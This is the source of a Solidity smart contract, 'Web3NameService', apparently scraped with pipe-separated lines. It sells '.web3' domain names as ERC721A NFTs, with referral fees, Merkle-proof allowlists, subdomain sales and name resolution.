_afterTokenTransfers(from, address(0), tokenId, 1);
|
|
|
|
|
|
unchecked {
|
|
_burnCounter++;
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function _approve(
|
|
address to,
|
|
uint256 tokenId,
|
|
address owner
|
|
) private {
|
|
_tokenApprovals[tokenId] = to;
|
|
emit Approval(owner, to, tokenId);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function _checkContractOnERC721Received(
|
|
address from,
|
|
address to,
|
|
uint256 tokenId,
|
|
bytes memory _data
|
|
) private returns (bool) {
|
|
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
|
|
return retval == IERC721Receiver(to).onERC721Received.selector;
|
|
} catch (bytes memory reason) {
|
|
if (reason.length == 0) {
|
|
revert TransferToNonERC721ReceiverImplementer();
|
|
} else {
|
|
assembly {
|
|
revert(add(32, reason), mload(reason))
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function _beforeTokenTransfers(
|
|
address from,
|
|
address to,
|
|
uint256 startTokenId,
|
|
uint256 quantity
|
|
) internal virtual {}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function _afterTokenTransfers(
|
|
address from,
|
|
address to,
|
|
uint256 startTokenId,
|
|
uint256 quantity
|
|
) internal virtual {}
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.4;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
contract Web3NameService is ERC721A, Ownable, ReentrancyGuard {
|
|
using Strings for uint256;
|
|
uint256 public cost = 10000000000000000;
|
|
uint256 public ref = 20;
|
|
uint256 public ref_owner = 30;
|
|
uint256 public ref_discount = 20;
|
|
uint256 public subdomains_fee = 10;
|
|
uint256 private maxCharSize = 20;
|
|
|
|
string private domain='.web3';
|
|
|
|
string private BASE_URI = '';
|
|
bool public IS_SALE_ACTIVE = false;
|
|
bool public IS_ALLOWLIST_ACTIVE = false;
|
|
mapping(address => bool) public allowlistAddresses;
|
|
mapping(string => mapping(address => bool)) public subDomains_allowlistAddresses;
|
|
mapping(string => address) public resolveAddress;
|
|
mapping(address => string) public primaryAddress;
|
|
mapping(string => bool) public subDomains_publicSale;
|
|
mapping(string => uint) public subDomains_cost;
|
|
mapping(string => bytes32) public subDomains_allowList;
|
|
mapping(string => uint) public subDomains_allowList_cost;
|
|
mapping(string => mapping(string => string)) public dataAddress;
|
|
bytes32 public merkleRoot;
|
|
bytes _allowChars = "0123456789-_abcdefghijklmnopqrstuvwxyz";
|
|
constructor() ERC721A("Web3 Name Service", ".web3") {
|
|
tokenIDandAddress[_currentIndex]="web3";
|
|
tokenAddressandID["web3"]=_currentIndex;
|
|
resolveAddress["web3"]=msg.sender;
|
|
_safeMint(msg.sender,1);
|
|
}
|
|
|
|
|
|
function _baseURI() internal view virtual override returns (string memory) {
|
|
return BASE_URI;
|
|
}
|
|
|
|
function setAddress(string calldata pepe_name, address newresolve) external {
|
|
TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[pepe_name]);
|
|
if (Ownership.addr != msg.sender) revert("Error");
|
|
|
|
|
|
bytes memory result = bytes(primaryAddress[resolveAddress[pepe_name]]);
|
|
if (keccak256(result) == keccak256(bytes(pepe_name))) {
|
|
primaryAddress[resolveAddress[pepe_name]]="";
|
|
}
|
|
resolveAddress[pepe_name]=newresolve;
|
|
}
|
|
|
|
function setPrimaryAddress(string calldata pepe_name) external {
|
|
require(resolveAddress[pepe_name]==msg.sender, "Error");
|
|
primaryAddress[msg.sender]=pepe_name;
|
|
}
|
|
|
|
|
|
function setDataAddress(string calldata pepe_name,string calldata setArea, string memory newDatas) external {
|
|
TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[pepe_name]);
|
|
|
|
if (Ownership.addr != msg.sender) revert("Error");
|
|
dataAddress[pepe_name][setArea]=newDatas;
|
|
}
|
|
|
|
function getDataAddress(string memory pepe_name, string calldata Area) public view returns(string memory) {
|
|
return dataAddress[pepe_name][Area];
|
|
}
|
|
|
|
|
|
function setBaseURI(string memory customBaseURI_) external onlyOwner {
|
|
BASE_URI = customBaseURI_;
|
|
}
|
|
|
|
function setMaxCharSize(uint256 maxCharSize_) external onlyOwner {
|
|
maxCharSize = maxCharSize_;
|
|
}
|
|
|
|
function setAllowChars(bytes memory allwchr) external onlyOwner {
|
|
_allowChars = allwchr;
|
|
}
|
|
|
|
function setPrice(uint256 customPrice) external onlyOwner {
|
|
cost = customPrice;
|
|
}
|
|
|
|
function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint subdomains_fee_) external onlyOwner {
|
|
ref = ref_;
|
|
ref_owner = ref_owner_;
|
|
ref_discount = ref_discount_;
|
|
subdomains_fee = subdomains_fee_;
|
|
|
|
}
|
|
|
|
|
|
function setSaleActive(bool saleIsActive) external onlyOwner {
|
|
IS_SALE_ACTIVE = saleIsActive;
|
|
}
|
|
|
|
function setAllowListSaleActive(bool WhitesaleIsActive) external onlyOwner {
|
|
IS_ALLOWLIST_ACTIVE = WhitesaleIsActive;
|
|
}
|
|
|
|
function setSubdomainSaleActive(bool saleIsActive, uint256 customPrice, string calldata pepe_name) public {
|
|
TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[pepe_name]);
|
|
require(Ownership.addr == msg.sender, "Invalid");
|
|
subDomains_cost[pepe_name] = customPrice;
|
|
subDomains_publicSale[pepe_name] = saleIsActive;
|
|
|
|
}
|
|
|
|
function register(address ref_address, string memory pepe_name)
|
|
public
|
|
payable
|
|
{
|
|
uint256 price = cost;
|
|
bool is_ref=false;
|
|
uint256 ref_cost=0;
|
|
require(bytes(pepe_name).length<=maxCharSize,"Long name");
|
|
require(bytes(pepe_name).length>0,"Write a name");
|
|
require(_checkName(pepe_name), "Invalid name");
|
|
if (ref_address== 0x0000000000000000000000000000000000000000) {
|
|
price=cost;
|
|
} else {
|
|
if (bytes(primaryAddress[ref_address]).length>0){
|
|
ref_cost=price*ref_owner/100;
|
|
} else {
|
|
ref_cost=price*ref/100;
|
|
}
|
|
price = price*(100-ref_discount)/100;
|
|
is_ref=true;
|
|
}
|
|
require (tokenAddressandID[pepe_name] == 0 , "This is already taken");
|
|
require(IS_SALE_ACTIVE, "Sale is not active!");
|
|
require(msg.value >= price, "Insufficient funds!");
|
|
tokenIDandAddress[_currentIndex]=pepe_name;
|
|
tokenAddressandID[pepe_name]=_currentIndex;
|
|
resolveAddress[pepe_name]=msg.sender;
|
|
if (is_ref) {
|
|
payable(ref_address).transfer(ref_cost);
|
|
}
|
|
_safeMint(msg.sender,1);
|
|
}
|
|
|
|
function allowList(string memory pepe_name, bytes32[] calldata _merkleProof)
|
|
public
|
|
payable
|
|
{
|
|
require(IS_ALLOWLIST_ACTIVE, "Allow List sale is not active!");
|
|
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
|
|
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf),"Invalid proof!");
|
|
require(bytes(pepe_name).length<=maxCharSize,"Long name");
|
|
require(bytes(pepe_name).length>0,"Write a name");
|
|
require(_checkName(pepe_name), "Invalid name");
|
|
require(allowlistAddresses[msg.sender]!=true, "Claimed!");
|
|
require (tokenAddressandID[pepe_name] == 0 , "This is already taken");
|
|
allowlistAddresses[msg.sender] = true;
|
|
tokenIDandAddress[_currentIndex]=pepe_name;
|
|
tokenAddressandID[pepe_name]=_currentIndex;
|
|
resolveAddress[pepe_name]=msg.sender;
|
|
_safeMint(msg.sender,1);
|
|
}
|
|
|
|
|
|
function registerSubdomain(string memory pepe_name, string memory subdomain_name)
|
|
public
|
|
payable
|
|
{
|
|
require(IS_SALE_ACTIVE, "Sale is not active!");
|
|
string memory new_domain=string.concat(subdomain_name,'.',pepe_name);
|
|
require(bytes(subdomain_name).length<=maxCharSize,"Long name");
|
|
require(bytes(subdomain_name).length>0,"Write a name");
|
|
require(_checkName(pepe_name), "Invalid name");
|
|
require(_checkName(subdomain_name), "Invalid name");
|
|
require (tokenAddressandID[new_domain] == 0 , "This is already taken");
|
|
|
|
TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[pepe_name]);
|
|
if (Ownership.addr == msg.sender)
|
|
{
|
|
tokenIDandAddress[_currentIndex]=new_domain;
|
|
tokenAddressandID[new_domain]=_currentIndex;
|
|
resolveAddress[new_domain]=msg.sender;
|
|
_safeMint(msg.sender,1);
|
|
} else {
|
|
require(subDomains_publicSale[pepe_name]==true, "Only Owner can register");
|
|
require(msg.value >= subDomains_cost[pepe_name], "Insufficient funds!");
|
|
payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100);
|
|
tokenIDandAddress[_currentIndex]=new_domain;
|
|
tokenAddressandID[new_domain]=_currentIndex;
|
|
resolveAddress[new_domain]=msg.sender;
|
|
_safeMint(msg.sender,1);
|
|
}
|
|
}
|
|
|
|
|
|
function allowListSubdomain(string memory pepe_name, string memory subdomain_name, bytes32[] calldata _merkleProof)
|
|
public
|
|
payable
|
|
{
|
|
string memory new_domain=string.concat(subdomain_name,'.',pepe_name);
|
|
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
|
|
require(MerkleProof.verify(_merkleProof, subDomains_allowList[pepe_name], leaf),"Invalid proof!");
|
|
require(msg.value >= subDomains_allowList_cost[pepe_name], "Insufficient funds!");
|
|
|
|
|
|
require(bytes(subdomain_name).length<=maxCharSize,"Long name");
|
|
require(bytes(subdomain_name).length>0,"Write a name");
|
|
require(_checkName(pepe_name), "Invalid name");
|
|
require(_checkName(subdomain_name), "Invalid name");
|
|
require(subDomains_allowlistAddresses[pepe_name][msg.sender]!=true, "Claimed!");
|
|
require (tokenAddressandID[new_domain] == 0 , "This is already taken");
|
|
TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[pepe_name]);
|
|
payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100);
|
|
subDomains_allowlistAddresses[pepe_name][msg.sender] = true;
|
|
tokenIDandAddress[_currentIndex]=new_domain;
|
|
tokenAddressandID[new_domain]=_currentIndex;
|
|
resolveAddress[new_domain]=msg.sender;
|
|
_safeMint(msg.sender,1);
|
|
}
|
|
|
|
|
|
function namediff(uint256 tokenId , string calldata new_pepe_name) external onlyOwner {
|
|
tokenIDandAddress[tokenId]=new_pepe_name;
|
|
tokenAddressandID[new_pepe_name]=tokenId;
|
|
}
|
|
|
|
|
|
function walletOfOwnerName(address _owner)
|
|
public
|
|
view
|
|
returns (string[] memory)
|
|
{
|
|
uint256 ownerTokenCount = balanceOf(_owner);
|
|
string[] memory ownedTokenIds = new string[](ownerTokenCount);
|
|
uint256 currentTokenId = 1;
|
|
uint256 ownedTokenIndex = 0;
|
|
|
|
while (ownedTokenIndex < ownerTokenCount) {
|
|
address currentTokenOwner = ownerOf(currentTokenId);
|
|
|
|
if (currentTokenOwner == _owner) {
|
|
ownedTokenIds[ownedTokenIndex] = string.concat(tokenIDandAddress[currentTokenId],domain);
|
|
|
|
ownedTokenIndex++;
|
|
}
|
|
|
|
currentTokenId++;
|
|
}
|
|
|
|
return ownedTokenIds;
|
|
}
|
|
|
|
|
|
function lastAddresses(uint256 count)
|
|
public
|
|
view
|
|
returns (string[] memory)
|
|
{
|
|
uint256 total = totalSupply();
|
|
string[] memory lastAddr = new string[](count);
|
|
uint256 currentId = total - count;
|
|
uint256 ownedTokenIndex = 0;
|
|
require(currentId>=0,"Invalid");
|
|
while (total > currentId) {
|
|
lastAddr[ownedTokenIndex] = string.concat(tokenIDandAddress[total],domain);
|
|
ownedTokenIndex++;
|
|
total--;
|
|
}
|
|
|
|
return lastAddr;
|
|
}
|
|
|
|
|
|
function setMerkleRoot(bytes32 _newMerkleRoot) external onlyOwner {
|
|
merkleRoot = _newMerkleRoot;
|
|
}
|
|
|
|
function setMerkleRootSubdomain(bytes32 _newMerkleRoot, string memory pepe_name, uint256 _cost) external {
|
|
TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[pepe_name]);
|
|
if (Ownership.addr != msg.sender) revert("Error");
|
|
|
|
subDomains_allowList[pepe_name] = _newMerkleRoot;
|
|
subDomains_allowList_cost[pepe_name] = _cost;
|
|
}
|
|
|
|
|
|
|
|
function _checkName(string memory _name) public view returns(bool){
|
|
uint allowedChars =0;
|
|
bytes memory byteString = bytes(_name);
|
|
bytes memory allowed = bytes(_allowChars);
|
|
for(uint i=0; i < byteString.length ; i++){
|
|
for(uint j=0; j<allowed.length; j++){
|
|
if(byteString[i]==allowed[j] )
|
|
allowedChars++;
|
|
}
|
|
}
|
|
if (allowedChars==byteString.length) { return true; } else { return false; }
|
|
|
|
}
|
|
|
|
|
|
|
|
function withdraw() public onlyOwner nonReentrant {
|
|
uint256 balance = address(this).balance;
|
|
Address.sendValue(payable(0x6049aCf6993e8eF2BF0e6DD0297C4F3a37995091),balance);
|
|
}
|
|
|
|
} |